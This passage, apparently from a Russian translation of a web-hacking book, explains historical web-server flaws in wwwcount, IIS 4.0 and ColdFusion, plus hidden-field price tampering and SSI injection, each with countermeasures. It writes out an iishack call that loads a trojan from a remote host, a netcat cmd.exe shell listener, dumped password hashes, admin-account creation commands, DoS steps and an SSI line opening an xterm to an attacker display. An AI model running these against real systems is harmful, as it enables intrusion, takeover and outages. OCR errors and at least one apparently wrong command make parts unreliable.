  •  Удалите уязвимые сценарии.
  •  Обновите сценарии РНР до самой последней версии.

Изъян wwwcount.cgi



Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm.

Контрмеры против использования nsbflHawwwcount



Предотвратить использование изъяна программы wwwcount можно двумя способами: 

  •  Удалите сценарий wwwcount. cgi.
  •  Отмените для сценария право на выполнение с помощью команды chmod -x wwwcount.cgi.

Изъян iishack сервера IIS 4.0



В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора.
Программа, демонстрирующая использование данного изъяна, называется iishack, а найти ее можно по адресу http://www.technotronic.com (а также И на других Web-узлах). При этом достаточно указать адрес URL и имя файла типа "троянский конь", который нужно запустить:

C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe
---(US 4.0 remote buffer overflow exploit)— — —
(c) dark spyrit — barns@eeye.com. http://www.eEye.com
[usage: iishack <host> <port> <url>]
eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe
do not include 'http://1 before hosts!
Data sent!

Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора):

C:\>nc -nw 10.11.1.1 26
(UNKNOWN) [10.11.1.1] 26 (?) open Microsoft(R)
Windows NT (TM) (C) Copyright 1985-1996 Microsoft Corp.
С:>pwdump
administrator:500:03096B7CD9133319790F5B37EAB66"E30:
5ACA8A3A546DD587A 58A251205881082:
Built-in account for administering the computer/doma in:
Guest:501:NO PASSWORD
**************;NO PASSWORD**************
*******:Built-in account for guest access to the computer/domain::
sqldude:1000:853FD8DOFA7ECFOFAAD3B435B
51404EE:EE319BA58C3E9BCB45AB13 CD7651FE14:::
SQLExecutiveCmdExec:1001:01FC5A6BE7BC6929AAD3B435B51404EE:
OCB6948805 F797BF2A82807973B89537:SQLExecutiveCmdExec,
SQL Executive CmdExec Task Account:C_:

С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы).
Более простая (но менее скрытая) атака заключается в создании нового пользователя с помощью команды net localgroup password haxor /add, а затем добавление этого пользователя (в данном случае haxor) в группу администраторов с помощью команды net localgroup Administrators haxor /add. Если порт NetBIOS сервера (TCP 139) открыт для взломщика, то он может к нему подключиться и делать все что угодно. Конечно же, поскольку взломщик выполняет в системе значительные изменения, то их можно выявить с использованием простых средств аудита системы.

Контрмеры против изъянов US 4.0



Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя.

Изъян переполнения полей



У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать.

1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion:
2. С помощью соответствующей команды (в броузере Netscape — это File =*Edit Page) перейдите в режим редактирования кода HTML.
3. Дважды щелкните на дескрипторе ACTION (верхний левый) и измените его, вставив имя/адрес URL сервера:

<form
Action="http://192.168.51.101/CFIDE/administrator/index.cfm"
Method="POST">

4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH:

<input Name="PasswordProvided"
Type="PASSWORD"
Size="1000000" MAXLENGTH="10ООООО">

5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.
6. Поле ввода пароля теперь должно расшириться вправо и выйти за границы экрана. Сгенерируйте около 1,000,000 символов и скопируйте их в это поле.
7. Щелкните на кнопке Password. Если все прошло хорошо (или плохо, если вы являетесь системным администратором), то можно будет увидеть следующее:


На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.

Контрмеры



Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full.


15.gif

Изображение: 

8. Плохое проектирование в Web



Плохое проектирование в Web


Хотя в истории развития Internet имеются многочисленные примеры разрушительных атак на Web-серверы, которые позволяют взломщикам получать важную информацию об устройстве сервера, а зачастую и привилегированные права доступа, эти взломы — только вершина айсберга. Многие разработчики не стремятся изучить жизненно важные методы проектирования, которые могли бы ограничить нежелательное использование их Web-серверов. В развитие многих из методов, обсуждаемых в этой главе, внесли вклад многие люди, в том числе Симпл Номад (Simple Nomad) из центра NMRCи компания Perfecto Inc.

Использование скрытых дескрипторов



В настоящее время многие компании пользуются Internet, предлагая свои продукты и услуги любому, у кого есть Web-броузер. Но "плохо запрограммированная" тележка для покупок может позволить взломщику фальсифицировать стоимость товаров. Например, рассмотрим небольшую компанию, занимающуюся продажей аппаратного обеспечения. Эта компания обзавелась собственным Web-сервером, чтобы ее клиенты могли осуществлять покупки в интерактивном режиме. Однако они допустили в программе важный промах: применили скрытые дескрипторы HTML как единственный механизм назначения цены за определенный товар. В результате, если взломщики обнаружат это уязвимое место, они смогут изменить цену, стоящую в скрытых дескрипторах, по своему усмотрению.
Например, пусть на Web-узле имеется страница продаж со следующим кодом HTML.

<FORM ACTION="http://192.168.51.101/cgi-bin/order.pi"
method="post">
<input type=hidden name="price"
value="199.99">
<input type=hidden name="prd_id"
value="X190">
QUANTITY: <input type=text name="
quant" size=3 maxlength=3 value=l>
</FORM>

В этом случае простое изменение цены с помощью Netscape Composer или в любом текстовом редакторе позволит взломщику заплатить за товар $1.99 вместо предполагаемой суммы $199.99:
<input type=hidden name="price" value="l.99">
Если вам кажется, что такой стиль программирования встречается редко, то можете удостовериться в этом самостоятельно. Стоит лишь зайти на узел http://www.altavista.com и осуществить поиск, задав в качестве критерия строку type=hidden name=price. В результате будут получены адреса сотни узлов, обладающих таким изъяном.
Другая форма взлома заключается в использовании значения ширины поля. При проектировании в Web указываются многие размеры, однако взломщик может менять заданные разработчиком значения, указывая размеры порядка 70,000 символов. Затем он может ввести в соответствующее поле строку, состоящую из большого числа символов, и это может привести к выходу сервера из строя. Если этого и не произойдет, то подобные действия все же могут привести к непредсказуемым последствиям.

Контрмеры против использования скрытых дескрипторов



Чтобы предотвратить возможность использования взломщиками скрытых дескрипторов HTML, ограничьте их использование в коде, который обеспечивает хранение такой важной информации как цены, или, по крайней мере, реализуйте режим подтверждения этих значений перед их использованием.

Вставки SSI



Механизм SSI (Server Side Includes) обеспечивает интерактивную работу в режиме реального времени без использования программирования. Разработчики Web-приложений часто используют эту возможность для быстрого получения системной даты/времени или для запуска локальной команды и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов (tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут оказаться наиболее полезны взломщикам.
Вставив код SSI в поле документа HTML, обрабатываемое Web-сервером, взломщик может локально запускать команды и получать доступ к серверу. По такому принципу можно разработать ряд разновидностей взломов. Например, при вставке дескриптора SSI в первое или последнее поле имени, появляющееся при создании новой учетной записи, Web-сервер попытается обработать это выражение и запустить соответствующую команду. Следующий дескриптор SSI отображает на машине взломщика графический терминал сервера.

 <!--#ехес cmd="/usr/XHR6/bin/xterm -display attacker:0 &"-->

Меры предосторожности против использования SSI



Нужно пользоваться сценарием, проводящим предварительный синтаксический анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную строку SSI перед передачей этого файла серверу для обработки.

Добавления к файлам



Любая возможность Web-приложений, позволяющая пользователю вводить информацию в файл непосредственно повышает уязвимость системы и создает потенциальную возможность атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению работы узла, или что-то другое в том же духе, и пользователи имеют возможность просматривать этот файл, то взломщик может воспользоваться этим обстоятельством. Используя код SSI (описанным выше способом), он может поместить в файл с комментариями код, который запускается локально, или код JavaScript, предлагающий ввести входящим пользователям их имя и пароль, чтобы использовать эту информацию в будущем.

Контрмеры против использования добавлений к файлам



Нужно ограничить возможность использования добавлений в процессе совместного интерактивного использования информации, так как эти возможности открывают взломщику слишком много путей манипулирования пользователями и Web-сервером.


9. Резюме



Резюме


В этой главе обсуждаются распространенные и не очень известные проблемы, обнаруженные в Internet. У взломщиков на вооружении имеется определенный набор способов, к которым они могут прибегнуть, пытаясь получить доступ к Web-серверу, или хотя бы обмануть его. При этом они могут пользоваться изъянами проверки входных данных, условиями переполнения буфера или обычными промахами, допущенными при разработке Web-приложений.
В то время как большинство изъянов, связанных с проверкой входных данных и переполнением буфера, довольно просто ликвидировать, проблему, возникающую при некачественной разработке серверов, решить бывает намного труднее, особенно в случае "доморощенного" дизайна. Тем не менее, удаление ненужных примеров сценариев, очистка входных данных сценариев и улучшение дизайна Web-приложений, включающие более строгую проверку SSI, скрытых дескрипторов и добавлений в файлы со стороны пользователей, может в значительной мере усложнить работу взломщика.